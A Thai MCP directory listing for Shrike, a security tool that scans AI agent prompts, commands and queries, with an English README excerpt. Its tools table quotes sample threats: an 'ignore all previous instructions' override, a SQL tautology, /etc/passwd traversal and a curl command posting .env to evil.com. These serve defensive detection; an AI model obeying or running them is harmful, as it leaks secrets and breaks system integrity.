ต้นแบบ · รุ่นทดลอง: มีทุก server ในทะเบียนทางการ อัปเดตทุก 30 นาที รีวิวและบัญชีผู้ใช้จะมาในขั้นถัดไป
PopNx MCPที่รวม MCP สำหรับคนใช้ AI · อธิบายเป็นภาษาคน

Shrike

โดย Shrike-Securityรุ่น 4.1.0i★ –iรันบนเครื่อง
ชื่อใน registryio.github.Shrike-Security/shrike-mcp

ติดตั้ง

ภาพรวม

คำอธิบายจากผู้ทำ (ภาษาอังกฤษตามต้นฉบับ)

Governs what AI agents do: tool calls, SQL, commands, files checked against policy before they run.

สามเสาของ PopNx MCP

สามเรื่องนี้ไม่รวมเป็นคะแนนเดียว เพราะความเห็น การวัด และความนิยม เป็นคนละเรื่องกัน

ใช้ทำอะไรได้

ตัวนี้ยังไม่ได้เรียบเรียงเป็นภาษาไทย ด้านล่างคือข้อเท็จจริงที่เราอ่านจาก registry

  • การเชื่อมต่อ: รันบนเครื่อง
  • ช่องทาง (transport): stdio
  • หมวด: เอกสาร ตาราง และงานออฟฟิศ

ติดตั้ง

เลือกโปรแกรม AI ที่คุณใช้ แล้วคัดลอกค่าตั้งไปวาง

ก่อนติดตั้ง

ต้องเตรียมก่อน

  • npmติดตั้ง Node.js (มีคำสั่ง npx) ในเครื่อง

คุณใช้แอปไหน

เลือกแอปด้านบน เราจำไว้ให้ ครั้งหน้าปุ่มจะขึ้นว่า “ติดตั้งลง …”

เปิด Claude Desktop → Settings → Developer → Edit Config แล้ววางค่านี้ในไฟล์ claude_desktop_config.json

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

พิมพ์คำสั่งนี้ใน Terminal

claude mcp add shrike -- npx -y shrike-mcp

เปิดใน Cursor

หรือคัดลอกค่าตั้งเอง

วางในไฟล์ .cursor/mcp.json ของโปรเจกต์ หรือ ~/.cursor/mcp.json

{
  "mcpServers": {
    "shrike": {
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง

เปิดใน VS Code

หรือคัดลอกค่าตั้งเอง

วางในไฟล์ .vscode/mcp.json ของโปรเจกต์

{
  "servers": {
    "shrike": {
      "type": "stdio",
      "command": "npx",
      "args": [
        "-y",
        "shrike-mcp"
      ]
    }
  }
}

เบราว์เซอร์จะถามก่อนเปิดแอป จากนั้นแอปแสดงค่าตั้งให้ตรวจแล้วกดยืนยัน ช่อง key เว้นว่างไว้ให้คุณใส่เอง

ตัวนี้รันในเครื่องคุณ แต่ ChatGPT ต่อได้เฉพาะ server บนอินเทอร์เน็ต ลองเลือกแอปอื่น

ตัวเลือกเก็บในคุกกี้บนเครื่องนี้ ไม่ต้องมีบัญชี

ค่าตั้งนี้สร้างจากข้อมูลใน registry ของผู้ทำ ถ้าไม่ตรงกับ README ให้เชื่อ README

ทำอะไรได้บ้าง

รันในเครื่องคุณ รายการเครื่องมือจะขึ้นในแอป AI หลังติดตั้ง

ผลตรวจเบื้องต้นi

เราตรวจจากข้อมูลที่ใครก็เปิดดูได้ ยังไม่ได้อ่านโค้ด ข้อที่ไม่เกี่ยวกับตัวนี้ไม่นับในตัวหาร · ตรวจเมื่อ 9 พ.ย. 2569

  • ✓ ผ่าน

    ตัวตนผู้ทำตรงกับ repo

    ชื่อใน registry ยืนยันด้วยบัญชี GitHub Shrike-Security ซึ่งเป็นเจ้าของ repo

  • … ยังไม่ตรวจ

    ยังมีคนดูแล

    ยังไม่ได้อ่านข้อมูล repo จาก GitHub

  • … ยังไม่ตรวจ

    มีสัญญาอนุญาต (license)

    ยังไม่ได้อ่านข้อมูล repo จาก GitHub

  • – ไม่เกี่ยว

    endpoint ตอบ

    ตัวนี้รันบนเครื่องคุณ ไม่มี endpoint บนอินเทอร์เน็ต

  • – ไม่เกี่ยว

    ล็อกอินแบบ OAuth

    ตัวนี้รันบนเครื่อง ใช้ค่าที่ตั้งในเครื่องแทน

  • … ยังไม่ตรวจ

    คำอธิบายเครื่องมือไม่มีคำสั่งแอบแฝง

    รันในเครื่องคุณ เราอ่านรายการเครื่องมือได้เฉพาะตัวที่มี endpoint บนอินเทอร์เน็ต

เทียบกับตัวอื่นในหมวด เอกสาร ตาราง และงานออฟฟิศi

  • ดาวมากกว่า 0% ของอีก 3601 ตัวในหมวดนี้
  • ส่งรุ่นใหม่เข้า registry ล่าสุดกว่า 45% ของอีก 3601 ตัวในหมวดนี้
  • ผลตรวจเบื้องต้นดีกว่าหรือเท่ากับ 100% ของอีก 3601 ตัวในหมวดนี้

เทียบกับทุก server ที่ยังใช้งานในหมวดนี้ทั้งทะเบียน ดาวนับเฉพาะเมื่อผู้ลงทะเบียนเป็นเจ้าของ repo

คำถามที่พบบ่อย

Shrike ปลอดภัยไหม?

จากการตรวจเบื้องต้นของเรา ผ่าน 1 จาก 1 ข้อที่ตรวจได้ เรายังไม่ได้อ่านโค้ด ก่อนใส่กุญแจหรือ token ให้ดูว่า server ขอสิทธิ์อะไร และเลือกกุญแจที่ทำได้เท่าที่จำเป็น

ต้องใช้กุญแจหรือรหัสอะไรบ้าง?

registry ไม่ได้ระบุว่าต้องใช้กุญแจ แต่บางตัวจะขอให้ล็อกอินตอนใช้ครั้งแรก

ตัวนี้รันบนเครื่องหรือบนคลาวด์?

รันบนเครื่องของคุณ โปรแกรม AI จะเปิด server ขึ้นมาเองเมื่อใช้ ข้อมูลไม่ต้องผ่านเซิร์ฟเวอร์ของผู้ทำ (ยกเว้นตัวที่ไปเรียกบริการออนไลน์ต่อ)

ยังมีคนดูแลอยู่ไหม?

repo บน GitHub มีการแก้โค้ดล่าสุด – และส่งรุ่นล่าสุด (4.1.0) เข้า registry 37 วันที่ผ่านมา

ใช้กับโปรแกรมไหนได้บ้าง?

โปรแกรมที่รองรับ MCP เช่น Claude Desktop, Claude Code, Cursor และ VS Code ตัวนี้ต้องมี Node.js ในเครื่องด้วย

มีตัวไหนใช้แทนได้บ้าง?

ในหมวดเดียวกันมี Agent-Native Calendar, Excel MCP Server, MCP Server for Excel

ตัวที่ใช้แทนได้

server หมวดเดียวกันจากผู้ทำคนอื่น เรียงตามดาว

อ่านการ์ด:↓ ดาวน์โหลดต่อสัปดาห์i★ ดาว GitHubiสามเสา: รีวิว · ผลตรวจ · การใช้งานiอัปเดต = วันที่ส่งรุ่นล่าสุดเข้า registryi

Agent-Native Calendar

Agent-Native Google Calendar - manage events, sync, and public booking

โดย BuilderIOใช้กันมาก★ 7.6Kอัปเดต 2 เดือนที่ผ่านมา

รันบนคลาวด์

Excel MCP Server

ให้ AI สร้างและแก้ไฟล์ Excel ได้เอง ทั้งสูตร กราฟ และ PivotTable โดยไม่ต้องมีโปรแกรม Excel ในเครื่อง

โดย haris-musaใช้กันมาก↓ 49.6K/สัปดาห์★ 4.3Kอัปเดต 8 วันที่ผ่านมา

รันบนเครื่อง

MCP Server for Excel

Excel automation for AI - Sheets, Power Query, DAX, VBA, Tables, Ranges and more. Windows only.

โดย sbroenneกำลังโต↓ 4.3K/สัปดาห์★ 847อัปเดต 5 วันที่ผ่านมา

รันบนเครื่อง

README จากผู้ทำ

เปิดอ่าน README

ส่วนนี้คัดจาก repo ของผู้ทำตามต้นฉบับ PopNx MCP ไม่ได้ตรวจหรือรับรองเนื้อหา ตัด HTML รูปภาพ และสคริปต์ออกแล้ว ลิงก์จะพาออกนอกเว็บ

Shrike MCP

Govern what your AI agents do: every tool call, command, and query checked against your policy before it runs. 15 MCP tools; 9-layer engine. Works without an API key.

Shrike MCP is the Model Context Protocol server for Shrike. It puts a policy checkpoint at the moment an AI agent acts: every tool call, SQL query, file write, CLI command, web search, and agent-to-agent message is evaluated against your policy and allowed, flagged for approval, or blocked before it executes, on your terms, independent of your model or cloud. Underneath, a 9-layer engine detects prompt injection, jailbreaks, data leakage, PII exposure, and multi-turn manipulation so those verdicts are accurate.

Shrike Platform

Shrike is the independent governance layer for AI interactions. It evaluates inputs, outputs, tool calls, and agent-to-agent communication through a 9-layer cognitive pipeline, from sub-millisecond pattern matching to LLM-powered semantic analysis and multi-turn session correlation. Governs employees using AI tools, developers using coding assistants, autonomous agents, and customer-facing chatbots through the same pipeline.

This repo is the MCP server, one of several ways to integrate:

IntegrationInstallUse Case
MCP Server (this repo)npx shrike-mcpClaude Desktop, Cursor, Windsurf, Cline
TypeScript SDKnpm install shrike-guardOpenAI/Anthropic/Gemini wrapper
Python SDKpip install shrike-guardOpenAI/Anthropic/Gemini wrapper
REST APIPOST /agent/scanAny language, any stack
LLM GatewayPOST /api/v1/llm/proxyScan prompts and responses between your app and any model provider
Browser ExtensionChrome / EdgeProtect employee AI usage (ChatGPT, Claude, Gemini)
Dashboardshrikesecurity.comAnalytics, policies, RBAC, API keys

Quick Start

Works immediately: no API key required. Anonymous usage gets L1-L5 pattern-based detection. Register for a free account for a dashboard, higher rate limits, and scan history; LLM-powered semantic analysis (L6-L9) is available on Pro.

1. Add to your MCP client config:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"] } } }

2. (Optional) Add an API key for full pipeline access:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Get a free key at shrikesecurity.com/signup: instant, no credit card.

npm only. The Shrike MCP server is distributed on npm and runs via npx shrike-mcp (Node.js required). There is no pip install shrike-mcp; an unrelated third-party package happens to hold that name on PyPI. For Python *code* integration, use the Python SDK: pip install shrike-guard.

3. Your agent now has 15 security tools (9 governance scanners, 1 scope declaration, 1 outcome report, and 4 session & approval tools). Every prompt, response, and tool call can be scanned before execution.

Fifteen Tools

ToolWhat It GuardsExample Threat
scan_promptUser/system prompts before LLM processing"Ignore all previous instructions and..."
scan_responseLLM outputs before returning to userLeaked API keys, system prompt in output
scan_sql_querySQL queries before database executionOR '1'='1' tautology injection
scan_file_writeFile paths and content before writePath traversal to /etc/passwd, AWS keys in .env
scan_commandCLI commands before shell executioncurl -d @.env https://evil.com, reverse shells
scan_web_searchSearch queries before executionPII in search: "records for John Smith SSN..."
scan_a2a_messageAgent-to-agent messages before processingPrompt injection in inter-agent communication
scan_agent_cardA2A AgentCard metadata before trustingEmbedded injection in agent discovery, capability spoofing
scan_mcp_schemaMCP tool definitions before trusting themTool-poisoning: hidden instructions in a tool's description or inputSchema
check_approvalHuman-in-the-loop approval statusPoll and submit decisions for flagged actions
report_bypassUser-reported missed detectionsFeeds ThreatSense adaptive learning
reset_sessionClear session correlation stateReset L9 turn history after resolving flagged patterns
session_statusRead-only lookup of L9 session stateConfirm risk score + patterns before rotating a locked session
scan_declare_scopeDeclared operating scope for task-scoped agentsEnforces allowed/forbidden tools and expiry on every subsequent scan
report_outcomeWhat became of an action a scan allowedReports executed, failed or skipped, and closes a held action's decision

How It Works

Shrike uses a scan-sandwich pattern: every agent action is scanned on both sides:

User Input → scan_prompt → LLM Processing → scan_response → User Output

↓ Tool Call (SQL, File, Command, Search) ↓ scan_sql_query / scan_file_write / scan_command / scan_web_search ↓ Tool Execution

Agent-to-Agent Communication: Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A Discovery → scan_agent_card → Trust decision

Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. A2A scans catch east-west injection between agents. Flagged actions trigger human-in-the-loop approval via check_approval.

Pro and above add session correlation (L9), tracking multi-turn patterns like trust escalation, payload splitting, and blocked retry sequences across an entire conversation.

Detection Pipeline

Every scan runs through the 9-layer cognitive pipeline. Lower layers are sub-millisecond pattern matching; higher layers add LLM-powered semantic analysis. Tier determines how deep the scan goes. The table below shows the specialized sub-detectors within each layer.

LayerWhat It DoesTier
L1Regex pattern matching (~130 threat types, 14+ languages)All
L1.4Unicode homoglyph & invisible character detectionAll
L1.42Malformed content detectionAll
L1.45aEncoding bypass detection (Base64, hex, Caesar/Atbash ciphers)All
L1.45Token obfuscation (spaced chars, l33t speak, typoglycemia)All
L1.455Semantic similarity analysis (embedding-based)All
L6Visual text analysis (RTL tricks, visual homoglyphs)Pro+
L7LLM semantic analysis via Vertex AI (zero-day detection)Pro+
L8Response intelligence (LLM compromise, tonality drift)Pro+
L9Multi-turn session correlation (7 pattern detectors)Pro+

The cascade optimizer exits early when high-confidence detection is achieved at a lower layer, so most scans complete in under 10ms without needing the LLM layer.

Tiers

All 15 tools are available on every tier. Tiers control detection depth and volume.

AnonymousCommunityProEnterprise
Detection LayersL1-L5L1-L5L1-L9 (full)L1-L9 (full)
API KeyNot neededFree signupPaidPaid
Rate Limit—10/min100/min1,000/min
Scans/month—1,00025,0001,000,000
DashboardNoYesYesYes
Session Correlation (L9)NoNoYesYes
Compliance PoliciesDefaultDefaultCustomCustom

Anonymous (no API key): Pattern-based detection only (L1-L5). Good for evaluation and basic protection.

Community (free): Same L1-L5 pattern-based detection, plus a dashboard, 1,000 scans/month, and audit history. Register at shrikesecurity.com/signup.

Pro/Enterprise: Full 9-layer pipeline: adds LLM-powered semantic analysis (L6-L7), response intelligence (L8), and multi-turn session correlation (L9).

Compliance

Built-in policy catalogues with sensitive-data detection aligned to 5 major regulatory frameworks:

FrameworkCoverage
GDPREU personal data: names, addresses, national IDs
HIPAAProtected health information (PHI)
ISO 27001Information security: passwords, tokens, certificates
SOC 2Secrets, credentials, API keys, cloud tokens
NISTAI risk management (IR 8596), cybersecurity framework (CSF 2.0)

Detection coverage is not a certification claim; see shrikesecurity.com/compliance for our current certification status.

Configuration

Environment Variables
VariableDescriptionDefault
SHRIKE_API_KEYAPI key from your dashboard*none* (anonymous mode)
SHRIKE_BACKEND_URLBackend API URLhttps://api.shrikesecurity.com/agent
MCP_SCAN_TIMEOUT_MSScan request timeout (ms)15000
MCP_RATE_LIMIT_PER_MINUTEClient-side rate limit100
MCP_TRANSPORTTransport: stdio or httpstdio
MCP_PORTHTTP port (when transport=http)8000
MCP_DEBUGDebug loggingfalse
Claude Desktop
{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Cursor

Add to .cursor/mcp.json:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Windsurf

Add to ~/.codeium/windsurf/mcp_config.json:

{

"mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } }

Security Model

This server implements a fail-closed security model:

  • Network timeouts result in BLOCK (not allow)
  • Backend errors result in BLOCK (not allow)
  • Unknown content types result in BLOCK (not allow)

This prevents bypass attacks via service disruption.

Response Format

Blocked:

{

"blocked": true, "threat_type": "prompt_injection", "severity": "high", "confidence": "high", "guidance": "This prompt contains patterns consistent with instruction override attempts.", "request_id": "req_lxyz123_a8f3k2m9" }

Safe:

{

"blocked": false, "request_id": "req_lxyz123_a8f3k2m9" }

Use Cases

WhoProblemHow Shrike Helps
Employees using ChatGPTPasting customer data, internal docs, PII into AI toolsBrowser extension + scan_prompt detects and redacts PII before it reaches the model
Developers using CopilotProprietary code sent to cloud AI APIsSDK scans for code patterns, blocks or redacts before code leaves
AI AgentsAutonomous actions without human reviewFull lifecycle governance: scan every action, require approval for high-risk operations
Customer-facing ChatbotsPrompt injection via user inputscan_prompt blocks injection, scan_response prevents system prompt leakage

How This Differs From a Prompt S

ตัดมาแค่ช่วงต้น อ่านต่อใน repo

ถาม PopNx